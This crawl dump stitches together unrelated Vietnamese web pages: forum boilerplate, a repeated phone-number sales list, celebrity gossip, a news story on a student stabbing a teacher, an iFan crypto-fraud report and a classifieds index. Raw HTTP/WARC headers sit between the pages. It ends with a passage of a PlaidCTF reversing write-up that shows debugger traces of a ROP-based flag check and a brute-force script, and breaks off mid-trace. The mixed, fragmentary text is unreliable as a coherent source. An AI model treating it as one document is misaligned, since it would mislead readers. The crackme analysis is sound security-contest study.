markdown:
.:: Nơi trao đổi về ngôn ngữ Visual Basic ::.
Bỏ qua nội dung
Để đăng nhập vào hệ thống, bạn phải có tài khoản người dùng đã đăng ký. Việc đăng ký chỉ tốn mất của bạn một chút thời gian nhưng bù lại bạn có thể sử dụng đầy đủ công cụ và chức năng trong hệ thống. Quản trị viên có thể thay đổi quyền hạn của những người dùng đã đăng ký. Trước khi tiến hành đăng ký, hãy chắc chắn rằng bạn đã biết rõ về những điều khoản của chúng tôi và các chính sách có liên quan khác. Bạn cũng phải chắc chắn rằng đã đọc kỹ nội qui riêng của từng chuyên mục trong diễn đàn.
Điều khoản đăng ký | Chính sách bảo mật
Đăng ký

Cache-Control: private, no-cache="set-cookie"

Set-Cookie: vbclub_sid=2d704bba9bdaa572e8718fec60318ffe; expires=Sat, 28-Apr-2018 15:21:32 GMT; path=/; domain=caulacbovb.com; HttpOnly

X-Powered-By-Plesk: PleskWin


WARC-Type: response

Content-Type: application/http; msgtype=response

WARC-Identified-Payload-Type: text/html

Connection: close

Vary: Accept-Encoding

Set-Cookie: vbclub_sid=0da13dfdf386848e9560c36328eb48d7; expires=Sat, 28-Apr-2018 15:31:04 GMT; path=/; domain=caulacbovb.com; HttpOnly

Content-Type: text/html; charset=UTF-8


markdown:
##
[Công ty cung cấp 0947030283 giá 560000 ](http://cc.soviettel.net/2018/01/cong-ty-cung-cap-0947030283-gia-560000.html)
0974051193 … 0974.05.11.93 …giá bán… 1,500,000
0964141070 … 0964.14.10.70 …giá bán… 1,350,000
0978010973 … 0978.01.09.73 …giá bán… 840,000
0974180481 … 0974.18.04.81 …giá bán… 1,000,000
0974241171 … 0974.24.11.71 …giá bán… 950,000
0993130591 … 0993.13.05.91 …giá bán… 900,000
0983160791 … 0983.16.07.91 …giá bán… 2,500,000
0963060791 … 0963.06.07.91 …giá bán… 1,200,000
0985151076 … 0985.15.10.76 …giá bán… 1,800,000
0987070494 … 0987.07.04.94 …giá bán… 1,000,000
0982270265 … 0982.27.02.65 …giá bán… 690,000
0982160291 … 0982.16.02.91 …giá bán… 2,500,000
0967160973 … 0967.16.09.73 …giá bán… 720,000
0987271173 … 0987.27.11.73 …giá bán… 760,000
0981160597 … 0981.16.05.97 …giá bán… 1,800,000
0969040194 … 0969.04.01.94 …giá bán… 1,400,000
0967171062 … 0967.17.10.62 …giá bán… 550,000
0971300395 … 0971.30.03.95 …giá bán… 1,200,000
0969130891 … 0969.13.08.91 …giá bán… 1,400,000
0972280785 … 0972.28.07.85 …giá bán… 940,000
Chọn thêm tại :
ĐT: 0912.855.663- 0835899999- 0903966896-0905188999 - ĐC: 105-107 Đường Số 11, Phường 11, Quận Gò Vấp, TPHCM
0945290982 … 0945.29.09.82 …giá bán… 760,000
0939040961 … 0939.04.09.61 …giá bán… 730,000
0947070297 … 0947.07.02.97 …giá bán… 610,000
0946041092 … 0946.04.10.92 …giá bán… 520,000
0946061097 … 0946.06.10.97 …giá bán… 770,000
0961130682 … 0961.13.06.82 …giá bán… 1,000,000
0948210983 … 0948.21.09.83 …giá bán… 730,000
0937010397 … 0937.01.03.97 …giá bán… 1,300,000
0949080492 … 0949.08.04.92 …giá bán… 670,000
0949210394 … 0949.21.03.94 …giá bán… 620,000
0948170397 … 0948.17.03.97 …giá bán… 630,000
0948140893 … 0948.14.08.93 …giá bán… 610,000
0942190591 … 0942.19.05.91 …giá bán… 750,000
0949260594 … 0949.26.05.94 …giá bán… 660,000
0947301193 … 0947.30.11.93 …giá bán… 1,000,000
0943110781 … 0943.11.07.81 …giá bán… 800,000
0942200590 … 0942.20.05.90 …giá bán… 780,000
0945040887 … 0945.04.08.87 …giá bán… 560,000
0943160392 … 0943.16.03.92 …giá bán… 730,000
0945151194 … 0945.15.11.94 …giá bán… 1,090,000
Bán tại blogspot của tôi :
ĐT: 0912.855.663- 0835899999- 0903966896-0905188999 - ĐC: 105-107 Đường Số 11, Phường 11, Quận Gò Vấp, TPHCM
0888030467 … 0888.03.04.67 …giá bán… 660,000
0907160886 … 0907.16.08.86 …giá bán… 1,600,000
0911071075 … 0911.07.10.75 …giá bán… 800,000
0886020266 … 0886.02.02.66 …giá bán… 800,000
0904010791 … 0904.01.07.91 …giá bán… 2,380,000
0933200464 … 0933.20.04.64 …giá bán… 660,000
0916021194 … 0916.02.11.94 …giá bán… 1,200,000
0868130898 … 0868.13.08.98 …giá bán… 980,000
0927100879 … 0927.10.08.79 …giá bán… 550,000
0934020565 … 0934.02.05.65 …giá bán… 610,000
0934200571 … 0934.20.05.71 …giá bán… 1,000,000
0901170761 … 0901.17.07.61 …giá bán… 660,000
0901210190 … 0901.21.01.90 …giá bán… 2,000,000
0914080682 … 0914.08.06.82 …giá bán… 1,100,000
0912280187 … 0912.28.01.87 …giá bán… 1,600,000
0904081094 … 0904.08.10.94 …giá bán… 1,900,000
0913280893 … 0913.28.08.93 …giá bán… 1,050,000
0914040596 … 0914.04.05.96 …giá bán… 800,000
0932120979 … 0932.12.09.79 …giá bán… 1,900,000
0902090498 … 0902.09.04.98 …giá bán… 800,000
0964141070 … 0964.14.10.70 …giá bán… 1,350,000
0978010973 … 0978.01.09.73 …giá bán… 840,000
0974180481 … 0974.18.04.81 …giá bán… 1,000,000
0974241171 … 0974.24.11.71 …giá bán… 950,000
0993130591 … 0993.13.05.91 …giá bán… 900,000
0983160791 … 0983.16.07.91 …giá bán… 2,500,000
0963060791 … 0963.06.07.91 …giá bán… 1,200,000
0985151076 … 0985.15.10.76 …giá bán… 1,800,000
0987070494 … 0987.07.04.94 …giá bán… 1,000,000
0982270265 … 0982.27.02.65 …giá bán… 690,000
0982160291 … 0982.16.02.91 …giá bán… 2,500,000
0967160973 … 0967.16.09.73 …giá bán… 720,000
0987271173 … 0987.27.11.73 …giá bán… 760,000
0981160597 … 0981.16.05.97 …giá bán… 1,800,000
0969040194 … 0969.04.01.94 …giá bán… 1,400,000
0967171062 … 0967.17.10.62 …giá bán… 550,000
0971300395 … 0971.30.03.95 …giá bán… 1,200,000
0969130891 … 0969.13.08.91 …giá bán… 1,400,000
0972280785 … 0972.28.07.85 …giá bán… 940,000
Chọn thêm tại :
[http://13.sodepab.com/](http://13.sodepab.com/)
ĐT: 0912.855.663- 0835899999- 0903966896-0905188999 - ĐC: 105-107 Đường Số 11, Phường 11, Quận Gò Vấp, TPHCM
0945290982 … 0945.29.09.82 …giá bán… 760,000
0939040961 … 0939.04.09.61 …giá bán… 730,000
0947070297 … 0947.07.02.97 …giá bán… 610,000
0946041092 … 0946.04.10.92 …giá bán… 520,000
0946061097 … 0946.06.10.97 …giá bán… 770,000
0961130682 … 0961.13.06.82 …giá bán… 1,000,000
0948210983 … 0948.21.09.83 …giá bán… 730,000
0937010397 … 0937.01.03.97 …giá bán… 1,300,000
0949080492 … 0949.08.04.92 …giá bán… 670,000
0949210394 … 0949.21.03.94 …giá bán… 620,000
0948170397 … 0948.17.03.97 …giá bán… 630,000
0948140893 … 0948.14.08.93 …giá bán… 610,000
0942190591 … 0942.19.05.91 …giá bán… 750,000
0949260594 … 0949.26.05.94 …giá bán… 660,000
0947301193 … 0947.30.11.93 …giá bán… 1,000,000
0943110781 … 0943.11.07.81 …giá bán… 800,000
0942200590 … 0942.20.05.90 …giá bán… 780,000
0945040887 … 0945.04.08.87 …giá bán… 560,000
0943160392 … 0943.16.03.92 …giá bán… 730,000
0945151194 … 0945.15.11.94 …giá bán… 1,090,000
Bán tại blogspot của tôi :
[http://9.simsothantai.net/](http://9.simsothantai.net/)
ĐT: 0912.855.663- 0835899999- 0903966896-0905188999 - ĐC: 105-107 Đường Số 11, Phường 11, Quận Gò Vấp, TPHCM
0888030467 … 0888.03.04.67 …giá bán… 660,000
0907160886 … 0907.16.08.86 …giá bán… 1,600,000
0911071075 … 0911.07.10.75 …giá bán… 800,000
0886020266 … 0886.02.02.66 …giá bán… 800,000
0904010791 … 0904.01.07.91 …giá bán… 2,380,000
0933200464 … 0933.20.04.64 …giá bán… 660,000
0916021194 … 0916.02.11.94 …giá bán… 1,200,000
0868130898 … 0868.13.08.98 …giá bán… 980,000
0927100879 … 0927.10.08.79 …giá bán… 550,000
0934020565 … 0934.02.05.65 …giá bán… 610,000
0934200571 … 0934.20.05.71 …giá bán… 1,000,000
0901170761 … 0901.17.07.61 …giá bán… 660,000
0901210190 … 0901.21.01.90 …giá bán… 2,000,000
0914080682 … 0914.08.06.82 …giá bán… 1,100,000
0912280187 … 0912.28.01.87 …giá bán… 1,600,000
0904081094 … 0904.08.10.94 …giá bán… 1,900,000
0913280893 … 0913.28.08.93 …giá bán… 1,050,000
0914040596 … 0914.04.05.96 …giá bán… 800,000
0932120979 … 0932.12.09.79 …giá bán… 1,900,000
0902090498 … 0902.09.04.98 …giá bán… 800,000
## 0 nhận xét:
## Đăng nhận xét

WARC-Identified-Payload-Type: application/xhtml+xml

Server: GSE

X-Content-Type-Options: nosniff

Cache-Control: private, max-age=0

X-XSS-Protection: 1; mode=block


markdown:
ĐÓNG
Tin Mới
Giải Trí
Làm Đẹp
Yêu & Sống
Sức Khỏe
Du Lịch
Tâm Sự
Công Nghệ
Giáo Dục
Khám phá bí mật, scandal của các ngôi sao nổi tiếng
Tin Mới
Giải Trí
Làm Đẹp
Yêu & Sống
Sức Khỏe
Du Lịch
Tâm Sự
Công Nghệ
Giáo Dục
"ong-trum-chan-dai-vu-khac-tiep" (Có 1 kết quả)
'Gà cưng' Vũ Khắc Tiệp tung loạt ảnh mới mong manh như sương khói
Trong loạt ảnh mới nhất, Quỳnh Hương khoe nhan sắc mong manh như sương khói. Vẻ đẹp của cô không chỉ khiến 'Ông trùm chân dài' mê đắm mà độc giả cũng ngất ngây.
1
2
3
...
Sau
Tin Đọc Nhiều
Bận đến quên ăn nhưng Đàm Vĩnh Hưng vẫn dành thời gian cho “gà cưng” ở Tuyệt Đỉnh Song Ca
Chưa đến lễ chính, nhiều sao Việt nô nức đi cúng Tổ sớm tại đền thờ 100 tỉ của Hoài Linh
Mỹ nhân “Vườn sao băng” lộ bụng bầu to lùm lùm trong đám cưới
Tin Mới Nhất
Mỹ nhân “Vườn sao băng” lộ bụng bầu to lùm lùm trong đám cưới
Chưa đến lễ chính, nhiều sao Việt nô nức đi cúng Tổ sớm tại đền thờ 100 tỉ của Hoài Linh
Bận đến quên ăn nhưng Đàm Vĩnh Hưng vẫn dành thời gian cho “gà cưng” ở Tuyệt Đỉnh Song Ca
Con gái đồng tính của Thành Long tình tứ bên bạn gái 30 tuổi
Sau ba tháng yêu, Hà Hồ bất ngờ hào hứng khoe quà tặng của Kim Lý
Sành điệu như Harper, chỉ việc lên đồ đẹp đi ăn còn túi xách điệu đà đã có bố cầm hộ
Xôn xao tin đồn Kim Lý bỏ đi sau cãi nhau nảy lửa với Hồ Ngọc Hà?
S.T (365) thừa nhận mối quan hệ với Lan Ngọc trên mức tình bạn
Mọi thắc mắc xin liên hệ qua hòm thư chaongaymoi.net@gmail.com
Copyright © All Rights Reserved chaongaymoi.net 04/2018.
CHUYÊN MỤC
Tin Mới
Giải Trí
Làm Đẹp
Yêu & Sống
Sức Khỏe
Du Lịch
Tâm Sự
Công Nghệ
Giáo Dục

WARC-Truncated: length

Server: nginx

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache


markdown:
[https://www.nguoi-viet.com/viet-nam/bi-nhac-xoa-hinh-xam-hoc-sinh-o-quang-binh-dam-guc-thay-giao/](https://www.nguoi-viet.com/viet-nam/bi-nhac-xoa-hinh-xam-hoc-sinh-o-quang-binh-dam-guc-thay-giao/) [Ông Nguyễn Văn Tiến được đồng nghiệp đưa đi bệnh viện cấp cứu. (Hình: Thanh Niên)](https://i2.wp.com/www.nguoi-viet.com/wp-content/uploads/2018/04/VN-Hoc-sinh-dam-thay.jpg?fit=800%2C450&ssl=1) **QUẢNG BÌNH, Việt Nam (NV)** – Một nam sinh lớp 12 ở huyện Lệ Thủy đứng chờ trước cổng trường chặn đường rồi dùng dao bấm đâm một nhát vào bụng thầy giáo chủ nhiệm, chỉ vì bị thầy yêu cầu xóa hình xăm.
Theo báo Thanh Niên, ban giám hiệu trường Trung Học Phổ Thông Trần Hưng Đạo cho hay, sáng 5 Tháng Tư, khi vào dạy học tiết thứ ba bộ môn Vật Lý tại lớp 12A6, ông Nguyễn Văn Tiến (30 tuổi, giáo viên chủ nhiệm lớp) phát hiện học sinh Ngô Văn Công (ở xã Ngư Thủy Trung, lớp trưởng của lớp) vẫn còn hình xăm trên người nên đã nhắc nhở và cho Công nghỉ học về đi xóa hình xăm. Tuy nhiên, Công không đi xóa mà ra trước cổng trường ngồi.
Khi dạy xong, ông Tiến cùng đồng nghiệp ra về. Vừa đến cổng trường, ông bị Công dùng dao bấm dài khoảng 15 cm đâm vào bụng rồi vứt dao tại hiện trường và bỏ chạy. Vết thương sâu khiến ông gục xuống sân, được đồng nghiệp đưa đến bệnh viện đa khoa huyện Lệ Thủy cấp cứu.
Nhận thấy chấn thương nặng, bệnh viện đã cho chuyển bệnh nhân đến bệnh viện Hữu Nghị Việt Nam-Cu Ba Đồng Hới lúc 11 giờ cùng ngày trong tình trạng có vết thương ở bụng vùng hạ sườn phải. Qua kiểm tra, bác sĩ chẩn đoán vết thương thấu bụng, kích thước 2 x 2 cm tổn thương gan phải, cần giải phẫu cấp cứu.
Hiện công an huyện Lệ Thủy đã tiến hành truy bắt Công, do học sinh này đang bỏ trốn.
Nói với báo Zing, Thượng Tá Trương Minh Vũ, trưởng công an huyện Lệ Thủy, cho biết đã cử cán bộ xuống hiện trường lấy lời khai nhân chứng. Do nạn nhân phải giải phẫu nên cơ quan điều tra vẫn chưa lấy được lời khai.
“Chúng tôi đã tung lực lượng nhưng hiện vẫn chưa bắt được nam sinh này. Có thể, Cường đã bỏ trốn vào miền Nam,” ông Vũ nói.
**(Tr.N)**
Ôi hồ chí minh uống máu kinh ơi,sống dậy mà xem đạo đức con người thời đại hồ chí minh rực rỡ giết người không gớm tay nè./.
LikeLike

Vary: Cookie

X-hacker: If you're reading this, you should visit automattic.com/jobs and apply to join the fun, mention this header.


markdown:
[http://vietbf.com/forum/showthread.php?t=1149353](http://vietbf.com/forum/showthread.php?t=1149353) **Mr Đàm dính líu đến vụ lừa đảo 1500 tỉ?**
Vừa qua, rất nhiều người dân đã kéo đến trụ sở Công ty cổ phần Modern Tech để biểu tình, tố cáo bị lừa đảo chiếm đoạt hơn 15 nghìn tỷ đồng từ tiền ảo. Đồng thời, những người này cũng khẩn cầu các cơ quan chức năng vào cuộc để điều tra vụ việc. Có thông tin cho rằng Đàm Vĩnh Hưng đã làm quảng cáo đại diện cho doanh nghiệp iFan???
Trước khi vụ lừa đảo tiền ảo iFan ‘vỡ lở’, Mr Đàm từng nhiều lần lên tiếng đính chính, khẳng định không hề ký kết hợp đồng quảng cáo, đại diện hình ảnh cho iFan trên trang cá nhân.
Thời gian gần đây, vụ lừa đảo tiền ảo iFan lên tới 15.000 tỷ đồng của công ty Modern Tech khiến dư luận không khỏi sục sôi. Đáng chú ý, trong thời gian hoạt động, để lôi kéo lòng tin từ các nhà đầu tư, dự án đăng tải lên các trang thông tin điện tử hình ảnh của nhiều ngôi sao uy tín, đình đám tại V-biz để quảng cáo, trong đó có Đàm Vĩnh Hưng.
Tại sự kiện ra mắt ứng dụng V-Fan, Đàm Vĩnh Hưng ngồi kế bên ông Châu Việt Cường – người từng xuất hiện trong nhiều sự kiện của iFan với tư cách diễn giả.
Nhiều nhà đầu tư chia sẻ họ tin tưởng vào iFan do nhìn thấy thông tin, hình ảnh về Đàm Vĩnh Hưng tại những sự kiện thuộc hệ thống công ty Modern Tech. Dù vậy, thực chất, giọng ca Bình minh sẽ mang em đi không hề liên quan cũng như ký hợp đồng đại diện hình ảnh quảng bá cho iFan.
Tháng 10/2017, Mr. Đàm từng đính chính trên trang cá nhân khi hình ảnh của anh xuất hiện tràn lan tại các trang thông tin điện tử của iFan. Theo đó, “ông hoàng nhạc Việt” cho biết việc anh đảm nhiệm vai trò đại diện, quảng cáo cho iFan hoàn toàn sai sự thật.
“Tôi không lên án hay bài xích việc đầu tư của bất kỳ ai. Tôi cũng biết đó là một xu thế mới. Chơi hay không là quyền của mọi người. Nhưng tôi khẳng định tôi không phải là người đại diện hình ảnh cho bất kỳ dự án nào hay cuộc chơi về tiền ảo nào” – Mr Đàm khẳng định.
Không liên quan đến tiền ảo nhưng Đàm Vĩnh Hưng từng hợp tác ra mắt ứng dụng V-Fan với ông Diệp Khắc Cường – diễn giả thường xuất hiện trong các sự kiện của iFan. Dù vậy, Mr Đàm cho biết việc hợp tác làm ứng dụng chỉ dừng lại ở khía cạnh nghệ thuật.
“Cái app mới của tôi vĩnh viễn không bao giờ có một sự thỏa hiệp nào để lôi kéo fans hay khán giả mua coin hay đầu tư theo tôi nhé! Và càng không có dính dáng gì đến đa cấp. Nơi đó phải đúng là một kho tàng khổng lồ cất giữ những gì thuộc về Đàm Vĩnh Hưng và nghệ thuật mà thôi” – anh viết.


markdown:
Rao Vặt Sài Gòn - Mua Bán Sài Gòn - Quảng Cáo Đăng Tin Sài Gòn - Trang mua bán rao vặt trực tuyến hiệu quả
Trang chủ
Diễn đàn
>
Ô TÔ - XE MÁY
>
MÔTÔ - XE MÁY
Sort by:
Tiêu đề
Ngày gửi
Trả lời
Đọc
Bài viết cuối ↓
Không có chủ đề.
Tùy chọn hiển thị chủ đề
Xếp chủ đề theo:
Lần gửi bài cuối
Thời gian tạo chủ đề
Tiêu đề (sắp xếp ABC)
Số lượng trả lời
Số lượt xem
Bài viết đầu được yêu thích
Xếp chủ đề kiểu:
Thứ tự giảm dần
Thứ tự tăng dần
Tiền tố:
(Mọi)
Quận 1
Quận 2
Quận 12
Quận Thủ Đức
Quận 9
Quận Gò Vấp
Quận Bình Thạnh
Quận Tân Bình
Quận Tân Phú
Quận Phú Nhuận
Quận 3
Quận 10
Quận 11
Quận 4
Quận 5
Quận 6
Quận 8
Quận Bình Tân
Quận 7
Huyện Củ Chi
Huyện Hóc Môn
Huyện Bình Chánh
Huyện Nhà Bè
Huyện Cần Giờ
Đang tải...
(Bạn phải Đăng nhập hoặc Đăng ký để đăng bài viết)
Show Ignored Content
Log in with Google
Tên tài khoản hoặc địa chỉ Email:
Bạn đã có tài khoản rồi?
Tích vào đây để đăng ký
Vâng, Mật khẩu của tôi là:
Bạn đã quên mật khẩu?
Duy trì đăng nhập
Diễn đàn
Tìm kiếm diễn đàn
Bài viết gần đây
media
media
Liên kết nhanh
media
Playlists
Thành viên
Thành viên tiêu biểu
Đang truy cập
Hoạt động gần đây
Menu
ĐĂNG NHẬP
|
ĐĂNG KÝ

Server: Apache

X-Frame-Options: SAMEORIGIN


markdown:
Hãy chuẩn bị tinh thần, vì đây là bài 300 điểm của một giải có rating 90.
## quite quixotic quest
## Reversing (300 pts)
Well yes, it certainly is quite
[quixotic]. (Yes, the flag format is PCTF{} )
Link dự phòng:
[quixotic]
Đề bài là một file ELF 32 bit. Mặc dù đã có trong tay IDA phiên bản hịn (mà cả thế giới đều có), mình vẫn ưa 32 bit. Cười trong ô tô thì vẫn thích hơn là khóc trên xe đạp, right?
Xem danh sách string, dễ thấy nó chính là curl cải trang:
|
|
1
2
|
|
➜ Desktop ./qqq
curl: try 'curl --help' or 'curl --manual' for more information
Mình đã định dùng BinDiff, nhưng thật thô bỉ khi đồng đội của mình chỉ cho mình cái này:
|
|
1
|
|
.rodata:08121788 0000004A C --pctfkey KEY Validate KEY as the PlaidCTF flag for this challenge
Tức là flag sẽ được nhập qua option
*–pctfkey*. No fun.
|
|
1
2
3
|
|
➜ Desktop ./qqq --pctf "PCTF{đồ ngốc}"
Validating key...
wrong
Still no fun, chuỗi
*Validating key…* kia đáng ra cần được che giấu kỹ càng hơn. Mình hoàn toàn cảm thấy bị xúc phạm khi mọi thứ cứ thẳng tuồn tuột như thế.
|
|
1
2
3
4
5
6
7
|
|
.text:08052AAC mov dword ptr [esp], offset aValidatingKey_ ; "Validating key...\n"
.text:08052AB3 call curl_mprintf ; Call Procedure
.text:08052AB8 mov edx, [ebx+128h]
.text:08052ABE mov eax, offset magic_buf
.text:08052AC3 mov esp, eax
.text:08052AC5 mov eax, edx
.text:08052AC7 retn
Vì EAX =
*magic_buf*, rồi ESP = EAX, nên ESP = *magic_buf*. Sau khi debug một chút, chúng ta thấy rằng (có vẻ như) chương trình thực thi một rop chain (trỏ bởi *magic_buf*). Sau khi step over một hồi, chúng ta sẽ gặp badboy, được build từng char một (‘w’, ‘r’, ‘o’, ‘n’, ‘g’) bằng câu lệnh:
|
|
1
2
3
4
5
6
7
8
9
10
|
|
.text:08066CB9 mov eax, offset hostname_cache
.text:0804E242 pop edx
.text:08095621 mov [eax], edx
.text:080E161F inc eax
.text:0804E242 pop edx
.text:08095621 mov [eax], edx
.text:080E161F inc eax
.text:0804E242 pop edx
.text:08095621 mov [eax], edx
...
F8 không văn minh lắm, hãy chuyển qua chức năng trace của IDA. Đặt BP ở
*0x08052AC7* và chạy lại, bật Instruction Tracing -> F9 -> Badboy -> Mở Trace window (mình quy ước rằng trace log mình post chỉ chứa những câu lệnh mà các bạn cần quan tâm):
|
|
1
2
3
4
5
6
7
8
|
|
00001567 .text:addbyter:loc_805DB7D add ebx, eax ; Add EBX=0000000C
00001567 .text:getparameter+2562 pop edx EDX=00000035 ESP=0818C0E0
00001567 .text:curlx_tvdiff+37 sub edx, ebx ; Integer Subtraction EDX=00000029 PF=0 AF=1
00001567 .text:curlx_tvdiff+3C pop ebx EBX=00000000 ESP=0818C0E8
00001567 .text:_Unwind_GetDataRelBase+6 pop eax EAX=00000094 ESP=0818C0F0
00001567 .text:malloc_usable_size+1E cmovnz eax, ebx ; Move if Not Zero (ZF=0) EAX=00000000
00001567 .text:memcpy:loc_80AD35D mov edi, eax EDI=00000000
00001567 .eh_frame:081887E4 add esp, edi ; Add AF=0
Ta thấy EBX = len(key) (mình đang nhập key
*PCTF{123456}*), sau đó EDX -= EBX, tiếp theo EAX = 0x94 và EBX = 0. Nếu cờ ZF = 0 thì lệnh CMOVNZ làm cho EAX = EBX = 0, ngược lại EAX giữ nguyên = 0x94. Sau đó EDI = EAX và ESP += EDI.
Do cờ ZF được quyết định bởi lệnh SUB EDX, EBX, nên kết quả của phép trừ EDX (0x35) cho EBX (len(key)) sẽ ảnh hưởng trực tiếp đến luồng thực thi của chương trình (hoặc ESP += 0, hoặc ESP += 0x94). Như vậy, len(key) = 0x35.
Nhập key mới (
*PCTF{1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJK*}) và trace lại:
|
|
1
2
3
4
5
6
7
8
9
10
|
|
00001572 .text:__underflow:loc_80A40C9 movzx eax, byte ptr [eax]; Move with Zero-Extend EAX=0000007D
00001572 .eh_frame:loc_8187036 pop ecx ECX=00000000 ESP=0818C258
00001572 .text:__guess_grouping+3C add ecx, eax ; Add ECX=0000007D PF=1
00001572 .text:getparameter+2562 pop edx EDX=081CCF10 ESP=0818C26C
00001572 .eh_frame:081887E6 add [edx], ecx ; Add CF=0 PF=1
00001572 .text:__underflow:loc_80A40C9 movzx eax, byte ptr [eax]; Move with Zero-Extend EAX=0000004B
00001572 .eh_frame:loc_8187036 pop ecx ECX=00000000 ESP=0818C258
00001572 .text:__guess_grouping+3C add ecx, eax ; Add ECX=0000004B PF=1
00001572 .text:getparameter+2562 pop edx EDX=081CCF10 ESP=0818C26C
00001572 .eh_frame:081887E6 add [edx], ecx ; Add CF=0 AF=1
Đoạn code này làm nhiệm vụ cộng từng ký tự của key vào [EDX]. Khi đã nắm được ý tưởng, ta có thể filter log trace, hoặc đặt BP và F9 để qua nhanh nhưng vẫn đảm bảo việc theo dõi được vòng lặp. Thực tế thì chương trình chỉ tính sum(key[1:]) mà thôi.
|
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
|
00001572 .text:memcpy+4F mov esi, edx ESI=081CCF10
00001572 .text:__strnlen_sse2+6CE ror byte ptr [edx], 5Fh; Rotate Right OF=1
00001572 .eh_frame:08178748 rol dword ptr [edx], 1; Rotate Left OF=0
00001572 .eh_frame:loc_8187036 pop ecx ECX=01F9933D ESP=0818C29C
00001572 .text:gmtime_r+1B xor [esi], ecx ; Logical Exclusive OR CF=0 AF=0
00001572 .text:__strcpy_ssse3+173C mov eax, edx EAX=081CCF10
00001572 .text:Curl_has:loc_807BD79 mov eax, [eax] EAX=01F9B731
00001572 .text:getcwd+668 xor eax, 0C7FFFFFAh ; Logical Exclusive OR EAX=C60648CB AF=0 SF=1
00001572 .text:memcpy:loc_80AD35D mov edi, eax EDI=C60648CB
00001572 .text:_IO_new_file_seekoff+1A1 mov edx, edi EDX=C60648CB
00001572 .eh_frame:08176458 pop eax EAX=081CCF20 ESP=0819C2D8
00001572 .text:_Unwind_SetIP+8 mov [eax+4Ch], edx
00001572 .text:Curl_multi_content...+12 xor edx, edx ; Logical Exclusive OR EDX=00000000 PF=1 ZF=1 SF=0
00001572 .text:__strnlen_sse2+4C9 lea eax, [eax+4] ; Load Effective Address EAX=081CCF24
00001572 .text:_Unwind_SetIP+8 mov [eax+4Ch], edx
00001721 .text:Curl_md5it push esi ESP=0819C3A8
...
MD5_Update
...
MD5Final
...
Giá trị
*01F9933D *khi đổi qua DEC sẽ là 33133373, không có gì đặc biệt, mình chỉ nhắc thế thôi. Hãy chuyển sang debug để quan sát stack và các vùng nhớ liên quan. Tại hàm *Curl_md5it*, tham số thứ 2 trỏ đến *081CCF6C*, đúng bằng [eax+4Ch], và chuỗi MD5 kết quả sẽ lưu ở *081CE9C0*. Tổng kết lại, đến thời điểm này chúng ta có giả mã sau:
|
|
1
2
3
4
5
6
7
8
|
|
s = sum(key[1:])
s = ror(s, 0x5f)
s = rol(s, 1)
s ^= 0x01F9933D
s ^= 0x0C7FFFFFA
[0x081CCF6C] = s
[0x081CE9C0] = md5([0x081CCF6C])
Tiếp tục:
|
|
1
2
3
4
5
6
|
|
00001728 .text:MD5_Final+1FF pop esi ESI=081CE9C0 ESP=0819C3B4
00001728 .text:smtp_endofresp+53 mov eax, esi EAX=081CE9C0
00001728 .text:Curl_has...:loc_807BD79 mov eax, [eax] EAX=FEBA6E76
00001728 .text:__registe...+7E pop edi EDI=86F4FA3F ESP=0819C3D8
00001728 .text:__readvall+2C xor eax, edi ; Logical Exclusive OR EAX=784E9449
00001728 .text:__strncpy_ssse3+1F80 cmp eax, 5BFFFFFFh ; Compare Two Operands AF=1
Mã giả tương ứng:
|
|
1
2
3
|
|
eax = md5_hash[0]
eax ^= 0x86F4FA3F
eax == 0x5BFFFFFF
Đoạn code sau sẽ cho ta biết giá trị của s:
|
|
1
2
3
4
5
6
7
8
9
10
11
|
|
for i in xrange(0xFF * 0x34):
s = i
s = (s & 0xFFFFFF00) | ror(s & 0xFF, 0x5f, 8)
s = rol(s, 1, 32)
s ^= 0x01F9933D
s ^= 0x0C7FFFFFA
m = unpack('I', md5(pack('I', s))[:8].decode('hex'))[0]
if m == 0x5BFFFFFF ^ 0x86F4FA3F:
print 'found:', i, md5(pack('I', s))
break
|
|
1
|
|
found: 5215 c0050bdd747721646f14ff008c6978b9
Input lại một key phù hợp (
*PCTF{eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeed}*).
|
|
1
2
3
4
5
6
7
8
9
10
11
|
|
00001738 .text:getparameter+2562 pop edx EDX=081CCF38 ESP=081AC3F4
00001738 .text:get_scope:loc_80C91EF mov edx, [edx+8] EDX=082045F0
00001738 .text:multi_get...:loc_8061D38 xor eax, eax ; Logical Exclusive OR EAX=00000000 PF=1 ZF=1
00001738 .text:customrequest_helper+65 xor al, [ebx+5E5B30C4h]; Logical Exclusive OR EAX=000000C0 ZF=0 SF=1
00001738 .eh_frame:081768B5 xor [edx], al ; Logical Exclusive OR
00001738 .text:_nl_...+144 inc ebx ; Increment by 1 EBX=A9C1B90A SF=1
00001738 .text:__memset_sse2_rep+497 inc edx ; Increment by 1 EDX=0883B60E SF=0 OF=0
00001738 .text:multi_get...:loc_8061D38 xor eax, eax ; Logical Exclusive OR EAX=00000000 PF=1 ZF=1
00001738 .text:customrequest_helper+65 xor al, [ebx+5E5B30C4h]; Logical Exclusive OR EAX=000000C0 ZF=0 SF=1
00001738 .eh_frame:081768B5 xor [edx], al ; Logical Exclusive OR
...
Đoạn trên là một vòng lặp, với EDX sẽ trỏ đến key và
*EBX+5E5B30C4* trỏ đến chuỗi MD5.
Sắp xong rồi, cố lên >:(
|
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
|
00001759 .text:Curl_multi_...+12 xor edx, edx ; Logical Exclusive OR EDX=00000000 CF=0 PF=1 ZF=1
00001759 .text:mu...:loc_8061D38 xor eax, eax ; Logical Exclusive OR EAX=00000000
00001759 .eh_frame:08187951 or eax, [ebx+0Ah] ; Logical Inclusive OR EAX=9B5F4690 ZF=0 SF=1
00001759 .eh_frame:loc_8187036 pop ecx ECX=9B5F4690 ESP=081AC948
00001759 .text:__strcmp_ssse3+13E8 sub eax, ecx ; Integer Subtraction EAX=00000000 ZF=1 SF=0
00001759 .text:isnanl+3C or edx, eax ; Logical Inclusive OR
00001759 .text:0805D7B4 add ebx, esi ; Add EBX=0883B5F6 PF=1
...
00001759 .text:multi...:loc_8061D38 xor eax, eax ; Logical Exclusive OR PF=1 ZF=1
00001759 .eh_frame:08187951 or eax, [ebx+0Ah] ; Logical Inclusive OR EAX=0144120F ZF=0
00001759 .eh_frame:loc_8187036 pop ecx ECX=17541D0F ESP=081AC964
00001759 .text:__strcmp_ssse3+13E8 sub eax, ecx ; Integer Subtraction EAX=E9EFF500 CF=1 SF=1
